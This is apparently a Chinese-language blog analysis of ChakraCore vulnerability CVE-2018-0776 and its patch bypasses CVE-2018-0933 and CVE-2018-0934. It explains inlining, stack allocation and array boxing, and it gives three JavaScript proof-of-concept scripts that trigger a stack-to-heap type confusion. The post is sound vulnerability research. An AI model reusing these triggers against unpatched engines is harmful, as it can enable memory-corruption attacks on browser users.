CVE-2018-0776 Stack-to-Heap
CVE-2018-0776
Credit to lokihardt
function inlinee() {
return inlinee.arguments[0];
}
function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/
let stack_arr = []; // JavascriptNativeFloatArray
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;
let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);
stack_arr[10000] = 2.3023e-320;
return heap_arr[10000];
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(new Function('')); // Prevents to be inlined
}
print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}
main();
//https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de
Feature 1: Inlining
- 2 个栈帧折叠为 1 个栈帧
- 省去将 Inlinee 参数压栈的过程
- 某些情况下, 需要将折叠的栈帧还原回来, 例如 Bailout
Feature 2: Stack Object
分配到栈上的代码:
bool
Lowerer::GenerateRecyclerOrMarkTempAlloc(IR::Instr * instr, IR::RegOpnd * dstOpnd, IR::JnHelperMethod allocHelper, size_t allocSize, IR::SymOpnd ** tempObjectSymOpnd)
{
if (instr->dstIsTempObject) // 临时对象
{
*tempObjectSymOpnd = GenerateMarkTempAlloc(dstOpnd, allocSize, instr); // 分配到栈上
return false;
}
this->GenerateRecyclerAlloc(allocHelper, allocSize, dstOpnd, instr); // 否则使用 GC 分配
*tempObjectSymOpnd = nullptr;
return true;
}
将满足如下要求的对象属于临时变量, 分配在函数栈上, 不属于堆分配:
- 函数内部创建
- 在函数外部没有被使用
标记为临时变量的调用栈:
ChakraCore.dll!ObjectTemp::SetDstIsTemp(bool dstIsTemp, bool dstIsTempTransferred, IR::Instr * instr, BackwardPass * backwardPass) Line 1176 C++ Symbols loaded.
ChakraCore.dll!TempTracker<ObjectTemp>::MarkTemp(StackSym * sym, BackwardPass * backwardPass) Line 455 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::MarkTemp(StackSym * sym) Line 5226 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessDef(IR::Opnd * opnd) Line 6648 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessBlock(BasicBlock * block) Line 2645 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessLoop(BasicBlock * lastBlock) Line 1554 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::OptBlock(BasicBlock * block) Line 1585 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::Optimize() Line 416 C++ Symbols loaded.
ChakraCore.dll!GlobOpt::BackwardPass(Js::Phase tag) Line 181 C++ Symbols loaded.
ChakraCore.dll!GlobOpt::Optimize() Line 222 C++ Symbols loaded.
这个判断逻辑在 Backward 中完成. (ChakraCore 的数据流分析实现是非常标准的, 感觉都是书上的东西)
Feature 3: Stack-to-Heap Copy
当外部(解释执行代码)使用到栈对象时需要进行 Box 操作, 将栈对象迁移为堆对象.
两种情况下进行 Box:
- 访问 Arguments
- Bailout
其中, Arguments 导致的 Box 又分为两种:
- 重建 Inlinee Frame
- 构建 Arguments 对象
它会逐层向上解析 Stack Frame, 遇到函数时会还原 Frame 的内容, 解析出所有参数.
如以下代码所示:
BOOL JavascriptFunction::GetArgumentsProperty(Var originalInstance, Var* value, ScriptContext* requestContext)
{
ScriptContext* scriptContext = this->GetScriptContext();
if (this->IsStrictMode())
{
return false;
}
if (this->GetEntryPoint() == JavascriptFunction::PrototypeEntryPoint)
{
if (scriptContext->GetThreadContext()->RecordImplicitException())
{
JavascriptFunction* accessor = requestContext->GetLibrary()->GetThrowTypeErrorRestrictedPropertyAccessorFunction();
*value = CALL_FUNCTION(scriptContext->GetThreadContext(), accessor, CallInfo(1), originalInstance);
}
return true;
}
if (!this->IsScriptFunction())
{
// builtin function do not have an argument object - return null.
*value = scriptContext->GetLibrary()->GetNull();
return true;
}
// Use a stack walker to find this function's frame. If we find it, compute its arguments.
// Note that we are currently unable to guarantee that the binding between formal arguments
// and foo.arguments[n] will be maintained after this object is returned.
JavascriptStackWalker walker(scriptContext);
if (walker.WalkToTarget(this)) // 1: 重建 inlinee Frame 时需要 Box
{
if (walker.IsCallerGlobalFunction())
{
*value = requestContext->GetLibrary()->GetNull();
}
else
{
Var args = nullptr;
//Create a copy of the arguments and return it.
const CallInfo callInfo = walker.GetCallInfo();
args = JavascriptOperators::LoadHeapArguments(
this, callInfo.Count - 1,
walker.GetJavascriptArgs(), // 2: 构造 arguments 对象时 Box
scriptContext->GetLibrary()->GetNull(),
scriptContext->GetLibrary()->GetNull(),
scriptContext,
/* formalsAreLetDecls */ false);
*value = args;
}
}
else
{
*value = scriptContext->GetLibrary()->GetNull();
}
return true;
}
第一次 Box 的调用栈:
ChakraCore.dll!Js::JavascriptNativeFloatArray::BoxStackInstance(Js::JavascriptNativeFloatArray * instance) Line 11989 C++
ChakraCore.dll!Js::JavascriptOperators::BoxStackInstance(void * instance, Js::ScriptContext * scriptContext, bool allowStackFunction) Line 9819 C++
ChakraCore.dll!InlineeFrameRecord::Restore(int offset, bool isFloat64, bool isInt32, Js::JavascriptCallStackLayout * layout, Js::FunctionBody * functionBody) Line 325 C++
ChakraCore.dll!InlineeFrameRecord::Restore::__l2::<lambda>(unsigned int i, void * * varRef) Line 222 C++
ChakraCore.dll!InlinedFrameLayout::MapArgs<void <lambda>(unsigned int, void * *) >(InlineeFrameRecord::Restore::__l2::void <lambda>(unsigned int, void * *) callback) Line 131 C++
ChakraCore.dll!InlineeFrameRecord::Restore(Js::FunctionBody * functionBody, InlinedFrameLayout * inlinedFrame, Js::JavascriptCallStackLayout * layout) Line 232 C++
ChakraCore.dll!InlineeFrameRecord::RestoreFrames(Js::FunctionBody * functionBody, InlinedFrameLayout * outerMostFrame, Js::JavascriptCallStackLayout * callstack) Line 275 C++
ChakraCore.dll!Js::InlinedFrameWalker::FromPhysicalFrame(Js::InlinedFrameWalker & self, Js::Amd64StackFrame & physicalFrame, Js::ScriptFunction * parent, bool fromBailout, int loopNum, const Js::JavascriptStackWalker * const stackWalker, bool useInternalFrameInfo, bool noAlloc) Line 1268 C++
ChakraCore.dll!Js::JavascriptStackWalker::UpdateFrame(bool includeInlineFrames) Line 605 C++
ChakraCore.dll!Js::JavascriptStackWalker::Walk(bool includeInlineFrames) Line 744 C++
> ChakraCore.dll!Js::JavascriptStackWalker::WalkToTarget(Js::JavascriptFunction * funcTarget) Line 836 C++
ChakraCore.dll!Js::JavascriptFunction::GetArgumentsProperty(void * originalInstance, void * * value, Js::ScriptContext * requestContext) Line 2889 C++
大意:
每次 Walk 调用通过 this->currentFrame.Next() 遍历 Frame. 再调用 JavascriptStackWalker::UpdateFrame. JavascriptStackWalker::UpdateFrame 会先通过 JavascriptStackWalker::CheckJavascriptFrame 检查 currentFrame 是不是 JS Frame:
- currentFrame 的地址与 tempInterpreterFrame 的返回地址一致, 那么是 InterpreterFrame
- 如果 currentFrame 的地址在 JIT 的地址范围中,那么是 JIT 函数的 Frame
如果找到 JIT 函数,则进行 Frame 还原.
InlinedFrameWalker::FromPhysicalFrame
可以根据函数入口地址, 找到函数的 entryPointInfo
entryPointInfo 保存了该函数是否包含 inline 函数
根据 currentFrame 的 codeAddr, framePointer, stackCheckCodeHeight. 比较 codeAddr - entry > stackCheckCodeHeight, 说明有 inline 函数
inlinedFrame 的位置 inlinedFrame = (struct InlinedFrame *)(((uint8 *)framePointer) - entryPointInfo->frameHeight);
InlineeFrameRecord* record = entryPointInfo->FindInlineeFrame(...); 根据 inlineeFrameMap 查找 InlineeFrameRecord
record->RestoreFrames(...); 还原 Frame
currentRecord->Restore(...); 根据 record 依次还原 Frame
这里具体还原出 InlineeFrame (在栈上)
- inlinedFrame->MapArgs 还原参数等信息, 会对参数进行Js::JavascriptOperators::BoxStackInstance (还原的结果在 InlineeFrame 中, 也是保存在栈上)
第二次 Box 的调用栈:
> ChakraCore.dll!Js::InlinedFrameWalker::FinalizeStackValues(void * * args, unsigned __int64 argCount) Line 1346 C++
ChakraCore.dll!Js::InlinedFrameWalker::GetArgv(bool includeThis) Line 1341 C++
ChakraCore.dll!Js::JavascriptStackWalker::GetJavascriptArgs() Line 273 C++
ChakraCore.dll!Js::JavascriptFunction::GetArgumentsProperty(void * originalInstance, void * * value, Js::ScriptContext * requestContext) Line 2901 C++
大意:
找到 inlinedFrame 后, 会调用 walker.GetJavascriptArgs 获取 inlinedFrame 的参数, 并通过 JavascriptOperators::LoadHeapArguments 构造 Arguments 对象.
walker.GetJavascriptArgs() 获取 inlinedFrame 的参数
inline 函数调用 inlinedFrameWalker.GetArgv
InlinedFrameWalker::FinalizeStackValues
- args[i] = Js::JavascriptOperators::BoxStackInstance(...);
向 inlinee 函数传参仍可当作临时对象处理, 仍可栈分配, 但是 inlinee 函数内有显式 inlinee.arguments 调用时不会栈分配. 所以必须要用到 inlinee 函数来触发漏洞.
如何进行 Box:
JavascriptArray::BoxStackInstance
包括对 VarArray, NativeIntArray 和 NativeFloatArray 的处理:
检查 boxedInstanceRef, 如果有直接返回 boxedInstanceRef 保存的指针. (因此多次调用 PoC 中的 inlinee, 会返回同一指针.)
然后调用对应 Array 的构造函数:
- 有 inlineHead 时会调用 InitBoxedInlineHeadSegment, 复制 HeadSegment
- 与原始对象共用其他 Segment
DynamicObject::BoxStackInstance
检查 boxedInstanceRef, 如果有直接返回 boxedInstanceRef 的指针
调用构造函数:
- 与原始对象共用 Type
- 与原始对象共用 Type 和 AuxSlot
- 如 inlineSlot 和 auxSlot 中的数据是 Var 指针, 会依次进行 JavascriptNumber::BoxStackNumber
Feature 4: "Shared" Buffer
Chakra 中 Stack 对象 和 Heap 对象是可以共享 buffer 的, 在这里用到的是 Array 的 Segment. 它本身的结构与数组类型无关, 其类型由 Array 决定.
两个不同类型的 Array 引用同一个 Segment, 就发生了类型混淆.
Patch
https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de
对遍历栈时的 Box Array 进行补丁: Array head 在栈上时进行 deepCopy, 原本只 copy head, 补丁后 copy 所有 segment.
Bypass: CVE-2018-0933
function inlinee() {
return inlinee.arguments[0];
}
function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/
let stack_arr = [];
// Allocate stack_ar->head to the heap
stack_arr[20] = 1.1;
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;
let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);
stack_arr[10000] = 2.3023e-320;
return heap_arr[10000];
}
function main() {
for (let i = 0; i < 10000; i++)
opt(new Function('')); // Prevents to be inlined
print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}
main();
原理: 将 head 分配到堆上不会被 deepCopy.
Patch: 将堆上的 head 也进行 deepCopy.
Bypass Again: CVE-2018-0934
// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.
function inlinee() {
new Error();
return inlinee.arguments[0];
}
function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/
let stack_arr = []; // JavascriptNativeFloatArray
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;
let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);
stack_arr[10000] = 2.3023e-320;
return heap_arr[10000];
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(new Function('')); // Prevents to be inlined
}
print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}
main();
原理:
- 函数中存在 CALL 时, DoInlineArgsOpt 为 false
- 在生成 JIT 代码时, 虽然是 inline 函数, 但 DoInlineArgsOpt 为假, 生成的代码会将参数压入 inlinee 的栈帧中
- 前面分析过获取 Arg 时本来有两次 Box
- 调用 inlinee.arguments 时遍历栈时不需要进行 InlineFrame 的还原, 因此第 1 次 BOX 不再进行. 取 Args 构造 Arguments 对象时仍进行 1 次 box, 这里 deepCopy 为 false
Patch:
- 构造 Arguments 时的 Box deepCopy 为 true
- Arguments 导致的遍历栈时不进行 box, 只 BailOut 时才进行 Box
总结
- 积累特别的 Feature, 例如 inlinee.arguments 在函数外获取函数参数, 向普通代码引出临时变量, 但 Arg 仍然会被标为临时变量
- 透彻分析 Root Cause, 漏洞触发的充要条件, 才能知道如何正确的 Patch, 才能知道如何 Bypass 不够完美的 Patch.
Comments
Post a Comment